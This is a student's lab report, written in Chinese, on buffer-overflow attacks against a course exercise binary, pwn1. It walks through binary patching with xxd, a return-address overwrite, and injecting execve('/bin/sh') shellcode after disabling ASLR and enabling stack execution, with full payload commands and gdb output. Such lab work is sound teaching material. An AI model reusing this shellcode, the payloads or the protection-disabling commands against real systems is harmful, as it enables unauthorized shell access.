20232906 2023-2024-2 《网络与系统攻防技术》第九次作业
1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
本次实验一共使用了三种不同方法进行缓冲区溢出攻击:
- 利用程序中已有的代码片段getShell,手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 利用foo函数的缓冲区溢出漏洞注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
2.1 直接修改程序机器指令,改变程序执行流程
-
首先将pwn1.zip下载解压并放入Kali中,使用命令
mv pwn1 pwn20232906
将文件名进行修改,如图一所示。
图一 修改文件名 -
利用objdump对pwn20232906进行反汇编,并通过管道转发给more作为输入内容便于查看,对应Linux命令如下所示:
objdump:是在类Unix操作系统上显示关于目标文件的各种信息的命令行程序。例如,它可用作反汇编器来以汇编代码形式查看可执行文件。它是GNU Binutils的一部分,用于在可执行文件和其他二进制数据上进行精细粒度控制。objdump使用BFD库来读取目标文件的内容。
objdump -d pwn20232906 | more
如图二所示,通过查看反汇编的结果中main函数的相关部分,我们可以发现main函数调用(call)了foo函数(
d7 ff ff ff
),而因为有getShell函数的存在,我们便可以直接修改该程序,将调用的地址改为getShell函数的基地址即可改变程序的执行流程。
图二 反汇编查看pwn20232906中的汇编代码 -
为了更改地址到getShell函数,首先我们得先弄清楚原来调用的地址
d7 ff ff ff
的意义。这里的地址使用了补码,且字节序为小端字节序,改写为我们习惯的大端字节序后地址就是ff ff ff d7
,换算后的数值为-29h
,其含义为foo函数的首地址距离call指令的下一条指令(即80484ba
)的偏移量为-29,相加便可得到foo函数的地址为80484ba+ff ff ff d7=8048491
-
这下我们就可以确定如何修改这里的内容了,首先算出getShell的首地址相对程序下一条指令地址
80484ba
的偏移,即804847d-80484ba=ff ff ff c3
,再将其改写为小端字节序可得c3 ff ff ff
,所以我们需要将原程序中的d7 ff ff ff
修改为c3 ff ff ff
即可。 -
首先我们下载十六进制dump工具
xxd
,使用命令如下:apt install xxd
-
为了防止修改过程出现错误,故先将pwn20232906程序进行备份,使用命令:
cp pwn20232906 pwn20232906-1
然后再进行修改,通过vim打开pwn20232906-1
vi pwn20232906-1
再输入如下命令将显示模式切换成16进制模式
:%!xxd
“%!”为调用第三方操作对vim内容进行操作,如 :%!tr a-z A-Z 把全文小写字母改成大写。
使用如下命令找到对应的数据:
/d7ff
如图三所示,可以找到对应的数据
图三 找到程序中的对应数据内容 -
修改完毕数据后,首先使用如下命令将数据转换为原格式,然后再保存退出(注意顺序)
:%!xxd -r
-
运行经过修改后的pwn20232906-1程序,可得结果如图四所示:
图四 成功获取Shell
2.2 构造输入字符串覆盖返回地址,改变程序执行流
-
在2.1中我们采用了直接修改程序文件的方式获取到了Shell,但如今的程序一般都会采用签名等方式来确保程序的完整性,那么我们可不可以不修改程序文件的内容,直接通过输入特殊的字符串来修改程序的返回地址呢?答案是肯定的。如图五所示,我们再观察一下pwn1程序的汇编代码:
图五 反汇编查看pwn20232906中的汇编代码 -
可以发现,在main函数调用的foo函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,而堆栈的结构大致如图六所示:
图六 堆栈简单结构
-
也就是说,只要我们输入足够长,并将输入字符串的第33~36字节填入getShell函数的基地址(0804847d),就可以让程序跳转到getShell函数的地方了。
-
为了确认输入的数据应该是按照大端字节序输入还是小端字节序,我们通过命令
gdb pwn20232906
进入调试模式然后输入1111111122222222333333334444444412345678进行验证,如图七所示:
图七 缓冲区溢出时寄存器数据 -
可以看出,eip寄存器中的值即为“4321”的ASCII码,验证了上文中的分析,这也说明我们应当使用小端字节序输入getShell函数的首地址,即7d 84 04 08
-
由于我们无法直接输入二进制数据,我们需要借助perl语言先生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入,使用命令如下:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input # \x0a代表回车,如果没有则需要手动敲一下回车来结束输入 (cat input; cat) | ./pwn20232906 # 通过管道让input文件中的内容成为pwn20232906的输入
-
这时我们发现我们已经成功地获得了Shell,如图八所示:
图八 成功获取Shell
2.3 注入Shellcode并执行
-
前两种方法能够成功的一个前提——程序中本来就含有getShell函数,但我们一般编程的时候是不会主动去为攻击者编写这样的函数。那么对于一个普通的程序来说,使用注入Shellcode的方法才能够让这个程序去执行我们想要的功能。
Shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为Shellcode,像添加一个用户、运行一条指令。
-
首先我们需要下载
Execstack
,可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb进行下载,下载后找到文件位置使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
即可完成安装。 -
在正式开始之前,我们需要对操作系统和程序进行一些设置便于找到我们注入的数据的地址,命令如下:
execstack -s pwn20232906 //设置堆栈可执行 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
-
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
这样构造是因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单来说如果缓冲区小就把shellcode放后边,如果缓冲区大就把shellcode放前边
nop的作用一是为了当作填充数据;二是作为“着陆区/滑行区”,这样可以减小我们猜测返回地址的难度,使我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
本次实验我们构造的结构为:anything+retaddr+nops+shellcode,其中shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
使用如下命令构建字符串并保存到input_shellcode中,其中前四字节还不确定,使用12 34h填充。
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
-
接下来我们来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段字符串:
(cat input_shellcode;cat) | ./pwn20232906
-
再打开另一个终端,首先使用命令找到pwn1的进程号
ps -ef | grep pwn20232906 # 这里我返回了如下信息 # root 67761 66720 0 20:29 pts/0 00:00:00 ./pwn20232906 # root 67906 67798 0 20:29 pts/1 00:00:00 grep --color=auto pwn20232906
再使用gdb调试该进程
gdb (gdb) attach [pid] # 根据上面查找进程号的结果,这里pid应该填67761
然后反汇编foo函数,查看返回指令(ret)的地址
(gdb) disassemble foo # 这里我返回了如下信息 # Dump of assembler code for function foo: # 0x08048491 <+0>: push %ebp # 0x08048492 <+1>: mov %esp,%ebp # 0x08048494 <+3>: sub $0x38,%esp # 0x08048497 <+6>: lea -0x1c(%ebp),%eax # 0x0804849a <+9>: mov %eax,(%esp) # 0x0804849d <+12>: call 0x8048330 <gets@plt> # 0x080484a2 <+17>: lea -0x1c(%ebp),%eax # 0x080484a5 <+20>: mov %eax,(%esp) # 0x080484a8 <+23>: call 0x8048340 <puts@plt> # 0x080484ad <+28>: leave # 0x080484ae <+29>: ret # End of assembler dump.
在返回指令的地址处设置断点,之后在另外一个终端中按下回车,然后再使用c使程序继续运行
break *<address> # 根据上面的结果,这里的<address>应该改为0x080484ae # 在运行程序的终端按下回车 (gdb) c
待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址
(gdb) info r esp # 这里我返回了如下信息 # esp 0xffffd02c 0xffffd02c
我们使用如下指令查看该地址附近的数据
(gdb) x/16x 0xffffd02c # 0xffffd02c: 0x04030201 0x90909090 0xc0319090 0x2f2f6850 # 0xffffd03c: 0x2f686873 0x896e6962 0x895350e3 0xb0d231e1 # 0xffffd04c: 0x0080cd0b 0x00333231 0x080484af 0x00000001 # 0xffffd05c: 0xffffd0f4 0xf7e1dff4 0x080484d0 0xf7ffcba0 (gdb) x/16x 0xffffcfec # 0xffffcfec: 0x080484ad 0xffffd00c 0x0000000c 0x00000000 # 0xffffcffc: 0x00000000 0x00000000 0x00000000 0x00000013 # 0xffffd00c: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xffffd01c: 0x41414141 0x41414141 0x41414141 0x41414141
从0xffffd02c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d0 30就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x30\xd0\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
perl -e 'print "A" x 32;print "\x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode (cat input_shellcode;cat) | ./pwn20232906
-
这时我们发现我们已经成功地获得了Shell,如图九所示:
图九 成功获取Shell
3.问题及解决方案
-
问题1:在2.3时,使用命令execstack操作系统提示——无法定位软件包 execstack
-
问题1解决方案:通过百度搜索,我找到了execstack的官方网站并成功找到了execstack的安装包,由于kali是Debian的发行版,所以选择了Debian版本的进行下载,具体下载地址见下面的链接。进入链接后在Download处即可找到资源的下载链接。
https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html
下载到本地后,使用apt的命令即可完成安装
apt install ./execstack_0.0.20131005-1+b10_amd64.deb
-
问题2:在2.3中,获取地址后修改字符串的数据然后重新执行发现依旧不成功
-
问题2解决方案:使用gdb进行调试,发现了每一次esp中的地址都不相同,结合实验指导书的相关内容,发现是没有关闭地址随机化,使用相应命令关闭地址随机化即可。
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
4.学习感悟、思考等
本次实验进行的是缓冲区溢出攻击,通过动手实践的方式我弄懂了缓冲区溢出的基本原理和常用的方法以及可执行程序的分析方法。在本次实验中,经过王老师的讲解和刘老师的博客,我成功地入门了缓冲区溢出这一个我曾以为困难重重的课题。同时,此次实验也使我对于二进制文件有了初步的了解,拿到了二进制文件,我也不再会不知所措,而是可以通过工具对其进行一定的分析,可以说收获颇多。
本次实验也暴露出了我在某些方面还有所欠缺,例如对于汇编语言的了解还不够深入,很多命令还需要老师的点拨才能够明白它的功能;本次实验中的Shellcode是老师直接提供给我的,是只针对于获得Shell这个功能的。如果要实现其他的功能,编写自己的Shellcode,还需要我对于Shellcode的相关知识认真学习;本次实验对于地址随机化和堆栈保护都进行了关闭,那么在地址随机化和堆栈保护开启的时候如何进行缓冲区溢出攻击也值得我深入思考。只有这样我才能够在此次实验的基础上取得更大的进步。
最后,感谢王老师和刘老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!
参考资料
- 0x11_MAL 逆向与Bof基础 - wildlinux
- execstack_0.0.20131005-1+b10_amd64.deb